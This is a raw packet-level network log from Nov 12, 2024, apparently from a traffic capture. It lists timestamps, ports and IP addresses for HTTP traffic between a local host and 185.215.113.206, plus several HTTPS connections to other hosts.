Nov 12, 2024 17:07:55.751183033 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.751192093 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.751216888 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.751275063 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.751688957 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.751701117 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.751712084 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.751724005 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.751734972 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.751734972 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.751746893 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.751754999 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.751759052 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.751773119 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.751780033 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.751784086 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.751796961 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.751797915 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.751815081 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.751827002 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.751837015 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.751856089 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.752055883 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.752067089 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.752077103 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.752089024 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.752099991 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.752110004 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.752120018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.752130985 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.752127886 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.752127886 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.752145052 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.752146006 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.752160072 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.752201080 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.759224892 CET	49975	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:55.759257078 CET	443	49975	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:55.759334087 CET	49975	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:55.760015965 CET	49975	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:55.760030985 CET	443	49975	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:55.771097898 CET	443	49971	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.783929110 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.783947945 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.783993959 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.784006119 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.784029961 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.784051895 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.784997940 CET	49970	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.785018921 CET	443	49970	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.785022020 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.785034895 CET	49970	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.785042048 CET	443	49970	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.785084009 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.820472002 CET	49971	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.820494890 CET	443	49971	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.821134090 CET	49971	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.821139097 CET	443	49971	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.822838068 CET	49976	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.822864056 CET	443	49976	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.822937012 CET	49976	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.823188066 CET	49976	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.823200941 CET	443	49976	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.844114065 CET	49977	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.844146013 CET	443	49977	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.844291925 CET	49977	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.854336977 CET	49977	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.854346991 CET	443	49977	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.866961002 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.866986036 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.866997957 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867008924 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867021084 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867034912 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867034912 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867034912 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867050886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867064953 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867085934 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867142916 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867162943 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867173910 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867186069 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867197037 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867218971 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867245913 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867259026 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867270947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867281914 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867292881 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867321014 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867321014 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867352009 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867357016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867368937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867378950 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867393017 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867403984 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867436886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867439985 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867439985 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867480040 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867489100 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867500067 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867510080 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867522001 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867537022 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867537022 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867556095 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867634058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867645979 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867656946 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867669106 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867681026 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867691994 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867696047 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867696047 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867755890 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867763042 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867767096 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867780924 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867799044 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867799044 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867816925 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867852926 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867902040 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867913008 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867924929 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867938042 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.867950916 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867990017 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.867990017 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868052959 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868066072 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868077993 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868087053 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868098974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868112087 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868122101 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868122101 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868123055 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868138075 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868151903 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868170977 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868195057 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868200064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868212938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868223906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868247032 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868247032 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868263006 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868299007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868310928 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868343115 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868347883 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868347883 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868397951 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868411064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868434906 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868434906 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868452072 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868494034 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868505001 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868515968 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868530035 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868551016 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868567944 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868603945 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868617058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868663073 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868691921 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868704081 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868715048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868726015 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868735075 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868737936 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868751049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868756056 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868762970 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868792057 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868792057 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868818045 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868832111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868844032 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868854046 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868870974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868882895 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868884087 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868885040 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868892908 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868905067 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868906021 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868917942 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868930101 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868942976 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.868956089 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868956089 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.868971109 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869009972 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869097948 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869108915 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869146109 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869175911 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869188070 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869199991 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869210958 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869224072 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869234085 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869246006 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869256973 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869262934 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869262934 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869268894 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869283915 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869316101 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869350910 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869419098 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869430065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869441986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869452000 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869463921 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869474888 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869477034 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869477034 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869493008 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869499922 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869507074 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869527102 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869549990 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869587898 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869610071 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869621038 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869632006 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869642973 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869652033 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869652033 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869700909 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869745016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869756937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869767904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869779110 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869788885 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869793892 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869798899 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869811058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869837046 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869837046 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869863033 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869904995 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869926929 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869937897 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869949102 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869955063 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869955063 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869962931 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869971037 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.869975090 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869987965 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.869997978 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870008945 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870012045 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870012045 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870055914 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870055914 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870193005 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870203972 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870214939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870225906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870234013 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870238066 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870250940 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870251894 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870265007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870285988 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870294094 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870294094 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870325089 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870332956 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870352030 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870362997 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870392084 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870410919 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870413065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870429039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870451927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870462894 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870472908 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870476961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870490074 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870501041 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870512962 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870532036 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870562077 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870663881 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870676041 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870686054 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870697975 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870711088 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870713949 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870748043 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870764017 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870827913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870840073 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870851040 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870862961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870873928 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870882034 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870923996 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870923996 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.870966911 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870979071 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.870989084 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.871002913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.871014118 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.871025085 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.871026993 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.871064901 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.871064901 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.877068996 CET	443	49969	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.877836943 CET	49969	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.877861023 CET	443	49969	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.878783941 CET	49969	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.878789902 CET	443	49969	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.907881975 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.907907963 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.907963037 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.907974005 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.907987118 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.908066988 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.915319920 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.915335894 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.915411949 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.915420055 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.915970087 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.955012083 CET	443	49971	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.955080986 CET	443	49971	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.955344915 CET	49971	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.955344915 CET	49971	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.955681086 CET	49971	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.955694914 CET	443	49971	13.107.246.45	192.168.2.6
